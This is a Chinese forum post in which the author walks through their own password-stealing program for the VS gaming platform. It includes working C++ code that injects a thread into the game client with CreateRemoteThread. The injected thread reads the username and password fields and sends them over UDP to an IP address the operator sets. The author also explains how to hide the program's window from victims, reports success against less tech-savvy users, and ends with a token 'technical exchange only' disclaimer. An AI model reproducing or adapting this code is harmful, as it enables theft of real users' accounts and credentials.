寒假一个人在家无聊,看看书,玩2局dota,其他时间就是吃饭睡觉上网。。。
上星期突然想到有事干干,那就是写个盗号程序玩玩,于是,经过2,3天的写代码,调试,完成了 ,在这里和大家交流一下 ~(给新手交流下不错,高手不要看了)
其实本来准备写个浩方的盗号程序的,而且已经写好了,不过和同学测试的时候,同学说只有VS平台,说不得,只好把参数改了,变成现在的VS盗号程序。
其实程序是用vc写的,而且流程也比较简单,不过效果倒是不错,曾尝试了过,网上发帖测试过,对方如果不太懂电脑的话,中招的可能性很高。
好了,现在简单讲一下流程了,整个程序基于MFC对话框的(感觉有点挫 )
在主对话框里响应OnTimer函数,然后在OnInitDialog中Settimer。
然后就是关键了。。。Ontimer中调用CreateRemoteThread(其实这也是老方法了,网上这个函数的介绍已经多的烂了,百度一下一堆一堆的),不过还是要说一下我用了以后的感受:
首先就是在CreateRemoteThread之前要把要写入的线程,以及相应的要做参数传进去的数据结果,先用VirtualAllocEx在目标进程中分配好,然后再调用,(话说我当时很无知的直接调用CreateRemoteThread使进程崩溃了 )。
其次就是CreateRemoteThread在MFC程序下不能用debugger模式启动,启动后还是会让目标程序崩溃。。。网上查了,牛人说CreateRemoteThread在调试时会在目标进程多加入调试信息,导致崩溃。于是这个函数只能在Release下运行。
代码给出:

代码:
 void *pRemoteThread
  = VirtualAllocEx(hProcess, 0,
  1024*4, MEM_COMMIT|MEM_RESERVE,
  PAGE_EXECUTE_READWRITE);
 if (! pRemoteThread)
  return ;
 if (! WriteProcessMemory(hProcess, pRemoteThread, &RMTFunc, 1024*4, 0))
  return ;
 MyData *pData
  = (MyData*)VirtualAllocEx(hProcess, 0,
  sizeof (MyData), MEM_COMMIT,
  PAGE_READWRITE);
 if (!pData)
  return ;
 if (! WriteProcessMemory(hProcess, pData, &data, sizeof (MyData), 0))
  return ;
 HANDLE hThread
  = CreateRemoteThread(hProcess, 0,
  0, (LPTHREAD_START_ROUTINE)pRemoteThread,
  pData, 0, 0);
 if (! hThread)
 {
  return ;
 }
 CloseHandle(hThread);
 VirtualFreeEx(hProcess, pRemoteThread, 1024*3, MEM_RELEASE);
 VirtualFreeEx(hProcess, pData, sizeof (MyData), MEM_RELEASE);
 CloseHandle(hProcess);
然后就是线程函数,当然用传进来参数中的函数地址来调用,因为注入的线程根本不知道目标进程的IAT是多少。。。。
代码:
 DWORD __stdcall RMTFunc(MyData *pData)
{
 typedef int(__stdcall*MMessageBox)(HWND,LPCTSTR,LPCTSTR,UINT);
 MMessageBox MsgBox = (MMessageBox)pData->dwMessageBox;
 typedef UINT(__stdcall*MGetDlgItemText) (HWND,int ,LPTSTR ,int );
 MGetDlgItemText GetdlgText = (MGetDlgItemText)pData->dwGetDlgItemText;
 typedef LRESULT(__stdcall*MSendMessageA)(HWND,UINT,WPARAM,LPARAM);
 MSendMessageA SendMsgA = (MSendMessageA)pData->dwSendMessageA;
 GetdlgText(pData->ClientWnd,pData->UserNameID,pData->UserName,40);
 GetdlgText(pData->ClientWnd,pData->UserPasswordID,pData->PassWord,40);
// else 
//  MsgBox(NULL, pData->UserName, NULL, MB_OK);
 pData->mCopyData.lpData = (void*)pData->UserName;
 pData->mCopyData.cbData  = sizeof(pData->UserName);
 pData->mCopyData.dwData = 0;
 SendMsgA(pData->MainWnd,WM_COPYDATA,0,(LPARAM)(&pData->mCopyData));
 pData->mCopyData.lpData = (void*)pData->PassWord;
 pData->mCopyData.cbData  = sizeof(pData->PassWord);
 SendMsgA(pData->MainWnd,WM_COPYDATA,0,(LPARAM)(&pData->mCopyData));
 return 0;
}
线程函数用GetdlgItemText获取用户名和密码的控件的Text,然后发消息给主窗口,话说这控件的ID怎么获取的呢,可以用2种工具,要么VS自带的SPY++,要么用exesc或者 Reshacker之类的工具软件获取,
然后作为参数Struct的一个成员传进线程函数的。
发回主窗口用WM_COPYDATA发,因为是一个字符串,大小未知。
然后就是主窗口接了,
代码:
 if (!IsSocketCreated)
 {
  m_Socket.Create(9995,SOCK_DGRAM);
  IsSocketCreated = TRUE;
 }
 char IPStr[20] = "127.0.0.1         ";
 m_Socket.SendTo(TempStr,1024,8885,IPStr);
窗口内再置一个CSocket的变量,IP你随便定了,根据你当前IP定了,当时测试用127。0。0。1,
好了,整个过程大体上完成了,如果对VC编程以及Crack有一些了解的话,应该还是比较容易的,不过读者大概会问:这个程序运行起来,对话框出来了,作为盗号程序不是太假了 么 ?
其实这个我也想了很久。。。后来发现一种很简单的方法,直接解决问题。
在Resource View中把对话框Visible属性改为False,这样,运行程序,什么都看不到,但是的的确确能收到消息,相当不错。。。
好了,整个流程介绍完了,源码我整理一下,稍后发出。
不过本人先声明:
本程序纯技术交流,请勿用于恶意破坏等非法用途,
否则给自己或他人带来严重后果,概与本人无关.失误之处恳请批评指正, 
或有更好的方法或者技巧,欢迎互相交流.
祝各位愉快~